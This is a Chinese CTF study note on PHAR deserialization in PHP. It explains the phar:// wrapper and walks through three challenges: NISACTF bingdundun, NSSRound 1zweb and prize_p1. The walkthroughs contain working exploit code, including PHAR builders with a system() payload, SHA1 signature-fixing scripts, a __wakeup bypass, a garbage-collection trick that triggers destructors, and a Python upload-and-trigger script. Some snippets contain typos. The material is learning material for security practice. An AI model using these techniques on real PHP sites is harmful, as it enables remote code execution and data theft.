phar文件
简介:
本质上就是一种压缩文件,会以序列化的形式存储用户自定义的meta-data
结构:
分为四部分
a stub
phar文件的标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
必须以__HALT_COMPILER();来结尾,这是判断该文件为phar文件的标准
a manifest describing the contents
该部分包含了文件的权限、属性等信息,还会以序列化的形式存储用户自定义的meta-data,是反序列化漏洞的关键利用点
The file contents
压缩的文件内容。
signature
签名信息,可以是20字节的SHA1,16字节的MD5,32字节的SHA256等
构造phar文件
在php中,有内置的phar类来进行phar文件操作
比如:
<?php
class TestObject{
}
$phar = new Phar("phar.phar”);//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php_HALT _COMPILER();?>");//设置stub
$o= new TestObject();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test”);//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
要构造其他的phar包,其实就在这个的基础上改一下类里面的东西就行,Phar类的都不用改
运行该php代码就会生成一个phar文件了
但是要修改配置文件php.ini
将;phar.readonly = On改为phar.readonly = Off
注意前面有个符合; 记得删除,这里卡了我好久
phar伪协议
简介:
phar://伪协议用于php解压缩包,不管文件名的后缀,都会被其当做压缩包来解压
我们可以将想要的文件压缩,再用该协议读取,可以用于绕过一些后缀检测
用法:phar://压缩包/内部文件
例题:
[NISACTF 2022]bingdundun~
打开如上,点击upload后进入一个文件上传的页面,注意到url上有个get传参?bingdundun=upload
将带有木马的1.php文件压缩为1.zip然后上传
然后用phar://伪协议读取
phar://的格式为 ?file=phar://压缩包/内部文件
这里的内部文件为1.php
但是这里不能输入1.php,只需要输入1就行了,因为会自动加上.php
后面蚁剑连接找flag即可。
小结: 这道题就很好的展示了phar://伪协议对于绕过文件名检测的作用
漏洞原理
由于Phar内容清单中存储内容的形式是序列化的,
在使用phar伪协议解析phar文件时,php一大部分的文件系统函数都会直接进行反序列化的操作将文件内容还原
即不用unserialize()反序列化函数也能进行反序列化的操作,这就有可能导致反序列化的漏洞。
例题:
[NSSRound#4 SWPU]1zweb
一个上传文件,一个查看文件
先看看有什么文件
这里有个非预期解,查/flag就可以出flag
除此之外还可以查看到index.php和upload.php
index.php
<?php
class LoveNss{
public $ljt; public $dky;
public $cmd; public function __construct(){ $this->ljt="ljt";
$this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re"; $this->dky="Misc";
}
}
$$file$$_POST['file'];
if(isset($_POST['file'])){ echo file_get_contents($file);
}
很简单的反序列化,eval执行cmd,绕过_wakeup即可
upload.php
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension;
}
}
?>
对上传的后缀进行了限制,必须是”gif”, “jpeg”, “jpg”, “png”
因为最后读取文件的函数是file_get_contents
这个函数配合phar伪协议是可以将phar文件反序列化的
然后还过滤了__HALT_COMPILER();
所有可以对phar文件进行压缩,然后利用phar伪协议读取
接下来构造phar包,利用php相关内置类
<?php
class LoveNss{
public $ljt="Misc"; public $dky="Re";
public $cmd="system('ls /');";
}//反序列化这里就比较简单了
$a = new LoveNss();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a)//自定义的meta-data
$phar->addFromString("test.txt", "test");
//签名自动计算,默认是SHA1
$phar->stopBuffering();
生成了一个phar.phar的文件
接下来绕过_wakeup,改成员个数
这里要放到010里面改(用记事本这些打开会改变签名)
然后将phar压缩为zip,然后把后缀改为png(绕过后缀检测)
上传并用phar://伪协议读取
file://./upload/phar.png/phar.phar
发现读取了,但是没有执行命令
可能是压缩包格式的问题
于是尝试压缩成gz
在kali里使用gzip工具
如上图,压好改后缀为png,然后上传,再次读取
phar://./upload/phar.phar.png/phar.phar
报错了,提示我们签名SHA1损坏了
所以要修复一些
找脚本
from hashlib import sha1
import gzip
file = open(r'D:\文件上传\phar.phar', 'rb').read()#换成一开始生成的phar.phar的路径
data = file[:-28] # 获取需要签名的数据
#data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup
final = file[-8:] # 获取最后8位GBMB标识和签名类型
newfile = data + sha1(data).digest() + final
open(r'D:\文件上传\new.phar', 'wb').write(newfile)
newf = gzip.compress(newfile)
with open(r'D:\文件上传\2.jpg', 'wb') as file:
file.write(newf)
然后上传,读取
phar://./upload/2.jpg/phar.phar
可以看到回显了根目录下的文件,flag在这
所有回去把反序列化里的命令改为cat /flag
然后重复一下就行
小结:
通过这道题搞懂了phar反序列化
第一次遇到sha1签名修复的,也有了一定的认识
prize_p1
代码
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(FILE);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}
class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
分析一下代码,很容易的就可以看到获得flag的方式
echo getenv("FLAG")
所以要触发_destruct
一般来说我们都不用特意去触发他,因为在代码结束时会自动触发
但是这题最后有代码throw new Error("那么就从这里开始起航吧");
该代码会令php抛出一个 Error 异常,并显示指定的错误消息,这会导致程序的正常流程中断
所以导致我们的_destruct不会被正常触发
这里就需要用到php中的GC机制,也叫垃圾回收机制
在php中,没有被引用的对象会被回收,腾出资源
测试一下
析构函数触发条件:在对象的引用被删除或者当对象被显示销毁时执行的魔术方法
当整个程序生命周期结束前会销毁所有的对象
此时正常触发了析构函数
然后看看下面这种
说明在程序执行完成前就触发了析构函数,即new plb触发了析构函数
原因就是new出来后没被引用,就会被当作垃圾回收,所以触发了析构函数
还有下面这种
这里将$a指向了null,因此原先的对象就被当垃圾回收了,触发析构
也可以利用数组
本题就利用这种方法来触发垃圾回收机制,以此触发析构函数
这里是先将new getflag赋给a[0],然后令a[1]=null
所以我们序列化后手动把a:2:{i:0;O:7:”getflag”:0:{}i:1;N;}改为a:2:{i:0;O:7:”getflag”:0:{}i:0;N;}
这样的结果就是将new getflag赋给a[0]后,直接令a[0]=null,以此触发垃圾回收机制
这里不能直接
$a = new getflag();
$a = array(0=>$a,0=>null);
这样的话跑出来是这样的a:1:{i:0;N;}
所以还是序列化后手动改吧
解决了触发析构函数的问题
接下来就是执行反序列化了
代码里虽然有unserialize($_GET[0]);
但是有过滤,所以不能直接利用这里来触发getflag
只能想其他办法了
在A类里,有写入文件的file_put_contents
函数,还有读取文件的file_get_contents
函数
file_get_contents函数配合phar伪协议正好可以触发反序列化效果
phar还正好没被过滤
所以这道题肯定是利用phar反序列化了
那就按phar的思路来
先生成phar包
<?php
class getflag{
}
$a = new getflag();
$a = array(0=>$a,1=>null);
$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadta($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
跟上题差不多,就不多介绍了
生成aa.phar后改a:2:{i:0;O:7:”getflag”:0:{}i:1;N;}改为a:2:{i:0;O:7:”getflag”:0:{}i:0;N;}
跟上题一样,签名还是被损坏了
修复一下
from hashlib import sha1
file = open(r'D:\文件上传\aa.phar', 'rb').read()
data = file[:-28]
final = file[-8:]
newfile = data + sha1(data).digest() + final
open(r'D:\文件上传\333.phar', 'wb').write(newfile)
生成333.phar
压缩成gzip,试了下压成zip不行
接下来就是上传和读取了
满足class A里面的if语句即可
利用还没用过的unserialize($_GET[0]);
来上传
先w在r
因为利用post上传时上传的是文件,所以就用脚本来执行了
import requests
s = requests.session()
url1 = 'http://node4.anna.nssctf.cn:28845//?0=O:1:"A":1:{s:6:"config";s:1:"w";}'
a = open(r'D:\文件上传\333.phar.gz', 'rb').read()
data1 = {0:a}
s.post(url=url1,data=data1)
url2 = 'http://node4.anna.nssctf.cn:28845///?0=O:1:"A":1:{s:6:"config";s:1:"r";}'
data2 = {0:'phar://./tmp/a.txt/aa.phar'}
c = s.post(url=url2,data=data2)
print(c.text)
总结: 本题涉及到的知识点:
phar反序列化
php中的垃圾回收机制(GC)